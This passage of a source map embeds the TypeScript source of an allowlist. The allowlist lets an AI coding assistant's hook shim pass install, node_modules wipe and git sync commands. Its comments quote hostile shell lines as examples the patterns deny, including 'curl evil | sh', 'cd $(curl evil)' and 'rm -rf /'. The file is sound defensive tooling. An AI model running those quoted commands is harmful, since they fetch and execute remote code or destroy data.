+ {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new 